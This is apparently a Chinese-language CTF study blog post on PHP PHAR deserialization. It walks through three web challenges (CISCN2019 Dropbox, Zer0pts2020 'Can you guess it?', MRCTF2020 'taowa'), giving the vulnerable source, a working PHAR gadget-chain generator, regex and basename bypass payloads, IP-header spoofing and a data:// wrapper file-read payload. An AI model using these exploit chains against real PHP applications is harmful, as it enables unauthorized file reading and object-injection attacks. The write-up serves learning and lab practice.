对于phar反序列化的学习:
- 概念:(php ARchive)
phar文件是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,phar://与file:// ,php://等类似,也是一种流包装器。 - phar 文件结构:
1、a stub
必须以__HALT_COMPILER();?>来结尾,使phar扩展能够识别这个文件为phar文件
2、manifest
phar文件本质上是一种压缩文件,每个被压缩文件的权限、属性等信息都放在这部分。另外,这部分还会以序列化的形式存储用户自定义的meta-data,这就是触发反序列化的点,当file_exists(),fopen(),file_get_contents(),file()等文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。
3、contents
被压缩文件的内容
4、signature
签名,放在文件末尾 - phar的利用条件:
1、 phar文件要能够上传到服务器端
则需要phpinfo中设置
2、 要有可用的魔术方法作为“跳板”
_call和file_get_contents函数
3、 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
4、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
题目:[CISCN2019 华北赛区 Day1 Web1]Dropbox
(这个题由于某些小问题做了很久很久,记录一下几个文章)
参考文章一.
参考文章二.
注册、上传一个jpg文件后下载抓包,找到源码文件的下载路径,
index.php
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();//需要执行close函数
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">åˆ é™¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);//这里才可以执行file_get_contents(),才能用伪协议去读文件
}
}
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");//有路径限制,所以只能在delete中进行上传
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
解题过程中涉及到创建一个phar文件,先学习一下:
遇到的问题:
首先需要将php.ini中的phar.readonly设置为Off才能用于PHAR对象
找到php.ini的路径
这里我直接去phpstudy里面查看phpinfo,结果按照那个显示出来的路径将要改的内容改过之后并不能生成phar文件,运行一直报错,后来按照步骤,先写一个php脚本,
<?php phpinfo();?>
按照运行后出现的路径改完之后才生成了phar文件,而且phar文件是在当前php文件目录下
phar.phar:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将改为jpg或者代码中显示的其他可以上传的后缀之后上传,
删除的时候抓包,将filename后面的内容改为phar://phar.jpg
go之后得到flag
题目:[Zer0pts2020]Can you guess it?
源码:
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
两个if是要绕过正则匹配,以及basename()
basename()函数:返回路径中的文件名部分,它会去掉文件名开头的非ASCII值
如果 index.php/config.php,最后会访问config.php
PHP_SELF:当前执行脚本的文件名,也就是index.php/config.php,所以再basename()的话必然会是config.php,而提示说flag在config.php中,其实也就是想怎样绕过正则,
找可以绕过正则的字符:
<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for ($i = 0; $i < 255; $i++){
$s = '/index.php/config.php/'.chr($i);
if(!check($s)){
$t = basename('/index.php/config.php/'.chr($i));
echo "${i}: ${t}\n";
}
}
payload:/index.php/config.php/%80?source
题目:[MRCTF2020]套娃
tip:
$_SERVER[“QUERY_STRING”] 获取查询 语句,获取?后面的值
$_SERVER[“REQUEST_URI”] 获取 http://localhost 后面的值,包括/
$_SERVER[“SCRIPT_NAME”] 获取当前脚本的路径,如:index.php
$_SERVER[“PHP_SELF”] 当前正在执行脚本的文件名
一段源代码:
其中substr_count函数用于计算子串在字符串中出现的次数,第二个if中需要get一个b_u_p_t,但是第一个if中要求不可以有下划线,所以第一个绕过是用%20代替下划线(也可以用.来代替);第二个if中正则匹配表示匹配字符窜的开头和结尾,在字符窜中换行可以表示字符窜的结尾,所以可以用%0a(换行符的url编码)绕过
payload:?b%20u%20p%20t=23333%0a
出现提示,访问secrettw.php
得到
百度,说是什么jsfuck编码,解码方式什么的也看不懂,看了wp可以通过控制台运行,
post Merak=一个随便的数
出现代码:
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
} //这一段就是post Merak,然后会高亮显示那段代码
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }//获取的值是经过change()函数转换的,并且可以知道file的文件名是flag.php
?>
chage()函数:先经过base64解码,然后从第一个字符开始,chr是把ASCII转成字符,ord是把字符转成ASCII数字
脚本:先每个字符减二,然后再进行编码
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>
下面的if条件需要ip=127.0.0.1可以用Client-ip这个方法,在burpsuit抓包后添加这一项;对于后面的第二个条件,用data协议,后面的base64也可以不加,这样的话就不需要将’todat is a happy day’base64编码
payload:ecrettw.php?file=ZmpdYSZmXGI=&2333=data://test/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=